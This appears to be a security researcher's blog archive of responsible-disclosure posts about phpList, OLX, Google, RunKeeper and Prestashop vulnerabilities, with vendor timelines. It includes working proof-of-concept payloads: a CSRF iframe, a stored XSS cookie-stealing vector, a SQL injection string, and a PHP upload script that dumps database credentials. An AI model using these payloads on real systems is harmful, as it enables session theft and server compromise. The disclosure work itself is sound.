Tuesday, April 22, 2014

phpList CSRF on subscription page

For those who don't know phpList...
... is an open source software for managing mailing lists. It is designed for the dissemination of information, such as newsletters, news, advertising to list of subscribers. It is written in PHP and uses a MySQL database to store the information. The software is distributed free under GPL license. (in Wikipedia)
I discover a CSRF vulnerability on phpList 3.0.5 (and maybe prior versions) - CVE-2014-2916 -  that allowed a malicious user to perform a variety of attacks (deface, malware spreading, phishing, etc.).
If a specially crafted page is visited by any authenticated administrator it's possible to launch a CSRF that will be automatically executed without the admin knowing it about.

The problem is that the subscription page editor - /phplist/admin/?page=spageedit - doesn't have protection against this type of vulnerability.
So, if a authenticated administrator visits a specific page that sends a form automatically it will store the malicious code on the subscription page.

Fix it ASAP!
phpList team have already patched this issue on phpList 3.0.6, so I recommend the download as soon as possible.

I would like to thank Michiel Dethmers from phpList for getting me updated on the fixing status and showing that phpList team really care about security.

02 Apr 2014: Reported this advisory to phpList
03 Apr 2014: phpList replied that they redirected the lead developer
04 Apr 2014: Lead developer replied that they are working on fixing it
15 Apr 2014: phpList 3.0.6 is released
21 Apr 2014: Credit for this vulnerability was published on phpList news section
22 Apr 2014: Full disclosure

Thursday, March 27, 2014

How to lose $2100 on bounties

Quite simple. Be late :-)
I discovered five security vulnerabilities that were already found from other users and were waiting fixing.

- Two vulnerabilities on Giftcards
- Two vulnerabilities on Magento (eBay)
- One vulnerability on Google

The estimated value of all these vulnerabilities were about $2100.
Note to myself: Better luck next time!

Friday, January 3, 2014

My ad on your OLX favourites - CSRF style

First of all - Happy New Year to all my readers.

OLX is an internet company based in New York City and Buenos Aires, Argentina. The OLX website hosts free user-generated classified advertisements for urban communities around the world and provides discussion forums sorted by various topics. They're are present on more 90 countries.

Portuguese OLX domain - olx.pt, one of the most popular websites in the country, was vulnerable to a CSRF that allowed any user to add a ad on a visitor favourite section just by visiting a specially crafted webpage.
This attack could be used to gain more visibility on a special ad or even to spread scams, like...

When a visitor opened a page with this code:
<iframe src="http://figueiradafoz.olx.pt/favoritos/?op=park&id=441731811&in=1" height="0" width="0"></iframe>
It would add that ad to the favourites section of the user. Even if they aren't authenticated.

This issue was fixed by the local company responsible for OLX in Portugal in few days.
I didn't test similar issues on other OLX sites but I hope my alert helped them to spread the word around about CSRF.

08 Nov 2013: Sent security advisory to OLX
08 Nov 2013: OLX replied that they are looking into it
15 Nov 2013: OLX reported that the problem has been fixed
03 Jan 2014: Full disclosure

Thursday, November 21, 2013

3 Open Redirect on Google - UNFIXED

In the last couple of weeks I discovered three Open Redirect security issues on Google.
For those who don't know what is a Open Redirect vulnerability, OWASP has a section about it (https://www.owasp.org/index.php/Open_redirect):
An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.
Open Redirects are very attractive for spammers. Why? With the increasing importance of URL and domain reputation in SPAM filtering, spammers may not care so much about tricking the user into believing their link is secure, but they may care about filters not seeing their malicious websites.

# Google Helpouts

Proof-of-concept with the URL encoded with hex with the same destination - http://labs.davidsopas.com:

# Google Doubleclick 1

Vulnerable code present on http://stats.g.doubleclick.net/u/post_iframe_dc.html:
(function() {
var b = decodeURIComponent;
var c = window,
d = function() {
var a = b(c.location.hash.substring(1));
/^https?\:\/\//.test(a) && c.location.replace(a)
e, f = c.XMLHttpRequest;
if ("undefined" != typeof f) e = new f;
else for (var g = ["MSXML2.XMLHTTP.6.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"], h = 0; h < g.length; h++) try {
e = new c.ActiveXObject(g[h])
} catch (k) {}
(function(a) {
a ? (a.open("POST", ("https:" == c.location.protocol ? "https://stats.g.doubleclick.net" : "http://stats.g.doubleclick.net") + "/p/__utm.gif", !0), a.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"), a.onreadystatechange = function() {
4 == a.readyState && d()
}, a.send(b(c.name))) : d()

Proof-of-concept with the URL encoded with hex with the same destination - http://labs.davidsopas.com:
# Google Doubleclick 2

This second open redirection works by adding the destination URL on adurl parameter.
You need a valid sig parameter but this value can be found by searching Google.

If don't add a valid sig, it will warn the user before redirecting:
What risks poses these security issues to a user?
- Phishing: The user may be confronted to phishing attempts by being redirected to an untrusted page
- Spreading malware: The user may be redirected to an untrusted page that contains malware which may then compromise user information
- CSRF: Using a URL specially crafted to explore a Cross-site request forgery (https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)) on Google

Google doesn't reward or fix this issues. They believe the usability and security benefits of a well-implemented and carefully monitored URL redirector tend to outweigh the perceived risks.
Personally I don't understand why Google don't follow the same steps than other companies, like Facebook and Yahoo, which give the right credit to Open Redirect issues.

Tuesday, November 12, 2013

How it was possible to run a XSS worm on RunKeeper

Do you know RunKeeper?
RunKeeper is a GPS fitness-tracking application supporting more than 23 million users, launched in 2008. RunKeeper is a Boston-based company, which raised $10 million in a Series B financing, led by Spark Capital. It also hosts a built-out Health Graph displaying health and fitness related data, specific to the user. This application also has an online social network of users that share progress, goals, training programs and mapped routes. What makes this application unique is having released an open API for outside developers to plug into RunKeeper users feeds. (in Wikipedia)
When I was using this nice web application I stumble across some vulnerabilities that could be used by malicious users to create a XSS worm.
This could be achieved by using two type of vulnerabilities.

CSRF on Accounts Settings
It was possible to launch a CSRF attack (http://pt.wikipedia.org/wiki/Cross-site_request_forgery) on Account Settings. Using a external HTML form, a crafted site with a auto-submit JavaScript, a malicious user could modify all the information on a authenticated RunKeeper user without them knowing. This happened because RunKeeper forms lacked a security token or any other validation which allowed a user to POST a request on external sources.

Persistent XSS on name field - Account Settings
This was very dangerous and a major security risk. In the wrong hands it could be used to launch dangerous attacks and infect millions of users.

The XSS was automatically executed on user Account Settings and on the profile page of the user affected - http://runkeeper.com/user/dsopas/profile. Even the public profile was affected with this issue (no need for authentication).

When saving the profile, the POST request to http://runkeeper.com/settings?saveProfile= submits the following:
Imagine a specially crafted site with a auto-submit form taking advantage of the CSRF I mentioned with the "fullName" parameter:
CLICK HERE "><img src=x onerror=prompt(document.cookie)><div x="
This would save the authenticated user new "fullName". Each time a user visited his profile would launch the attack (in my proof-of-concept it shows the victims cookie).

Modifying this POC a little bit, a malicious user could have a worm propagating on RunKeeper - stealing users cookies, gathering private information, propagating malware, ...

How dangerous?
In 2005, a XSS worm called Samy carried a payload on MySpace that would display the string "but most of all, Samy is my hero" on a victim's profile. When a user viewed that profile, they would have the payload planted on their page. Within just 20 hours of its October 4, 2005 release, over one million users had run the payload, making Samy the fastest spreading virus of all time.
This was also possible to achieve with this RunKeeper security issues.

I would like to say that RunKeeper handled this security issues very serious and they seem to really care about security and their clients.
I'm glad I helped them.

10 Oct 2013: Got first contact with RunKeeper and sent the advisory
11 Oct 2013: RunKeeper replied that they're working on both issues
21 Oct 2013: RunKeeper gave me a detailed information on patching plan
05 Nov 2013: RunKeeper confirmed that both issues are fixed
12 Nov 2013: Full disclosure

Wednesday, November 6, 2013

Google Bots doing SQL Injection - The Proof-of-Concept

When reading this article about Google Bots doing SQL Injection from Sucuri, I remember that I already saw this somewhere on my Google researches... I was right.
If you use a special tool included on Google Analytics, located on Behavior - Experiments, a malicious user could launch SQL Injections, or other web attack, on remote websites using Google as a proxy.
Enter your website in the form (example: http://www.yourwebsite.com/index.php?id=1' OR 1=1--)

Check out your access log: - - [06/Nov/2013:13:23:47 +0000] "GET /index.php?id=1'%20OR%201=1-- HTTP/1.1" 404 - "http://www.google.com/search" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.4 (KHTML, like Gecko; Google Web Preview) Chrome/22.0.1229 Safari/537.4"
If you resolve the IP address you will see google-proxy-66-249-93-25.google.com.

I believe this is not directly a Google security issue. Just keep your website secure and no trouble will come in your direction.

Tuesday, October 29, 2013

How a salesman could hack Prestashop

Continuing my work on analyzing Prestashop security, I found that low level employees profiles can hack Prestashop and possibly the server.
Prestashop (I tested under versions and 1.5.5) had employee default profiles that may use upload module option to get privilege information.
Logistician and salesman profile (with lower privileges than Admin and Superadmin) could use AdminModules to add a new module. This can be very tricky and dangerous because it doesn't require any validation in the file upload. Just zip/tar it and you have a successfully uploaded file into /modules/.

Opening /controllers/admin/AdminModulesController.php you can check that the validation on the module fails.
Take a deeper look into the code:
protected function extractArchive($file, $redirect = true)
$zip_folders = array();
$tmp_folder = _PS_MODULE_DIR_.md5(time());
$success = false;
if (substr($file, -4) == '.zip')
if (Tools::ZipExtract($file, $tmp_folder))
$zip_folders = scandir($tmp_folder);
if (Tools::ZipExtract($file, _PS_MODULE_DIR_))
$success = true;
$archive = new Archive_Tar($file);
if ($archive->extract($tmp_folder))
$zip_folders = scandir($tmp_folder);
if ($archive->extract(_PS_MODULE_DIR_))
$success = true;
if (!$success)
$this->errors[] = Tools::displayError('There was an error while extracting the module (file may be corrupted).');
//check if it's a real module
foreach($zip_folders as $folder)
if (!in_array($folder, array('.', '..', '.svn', '.git', '__MACOSX')) && !Module::getInstanceByName($folder))
$this->errors[] = Tools::displayError('The \'.$folder.\' you uploaded is not a module');
if ($success && $redirect)
return $success;
Notice that the file must be a zip or tar file. So far so good.
It also needs and checks for a folder. What if you don't have it? :-) It allows it and keeps the extracted file in /modules folder.

A compromise logistician, salesman or any other user that have permission to upload a module could upload a PHP shell or any other malicious file to obtain private information.

In my proof-of-concept, I used a default salesman profile account to upload a PHP file (index2.php) that contained a include to /config/settings.inc.php and show me the database details.
echo "<h1>Prestashop file upload exploit (need at least logistian or vendor permissions)</h1>";
echo "<h2>By David Sopas @dsopas - labs.davidsopas.com</h2>";
echo "<h3>--------------------------------------------</h3>";
echo "DB Server: " . _DB_SERVER_ . "<br />";
echo "DB Name: " . _DB_NAME_ . "<br />";
echo "DB User: " . _DB_USER_ . "<br />";
echo "DB Pass: " . _DB_PASSWD_ . "<br />";
echo "DB Prefix: " . _DB_PREFIX_ . "<br />";
Check the screens to get a visual proof-of-concept.

You can even use the same method to add a SuperAdmin user and have all the privileges you need.

This also can be used to search for server vulnerabilities and gain root access (if the server is vulnerable). As you can see it's a open door for larger attacks.


  • Moderation of lower privileges uploads (or even not allowing it)
  • Testing if module is really... a module
  • Heuristic analysis of malicious code

I contacted Prestashop and they told me that technically is not a easier thing to do. However they changed the right of their default profiles and deleted the right to add or delete modules (CVE-2013-6295).

Personally I advise all users that admin a Prestashop installation to remove the module permissions on users that don't need this feature, only allowing it on people that you would trust (if this can be possible :-) )

07 Oct 2013: Contacted Prestashop security
07 Oct 2013: Prestashop replied telling me that they changed the right of their default profiles
07 Oct 2013: Asked a few more questions about patching - no reply
14 Oct 2013: Asked again about this issue - no reply
29 Oct 2013: Full disclosure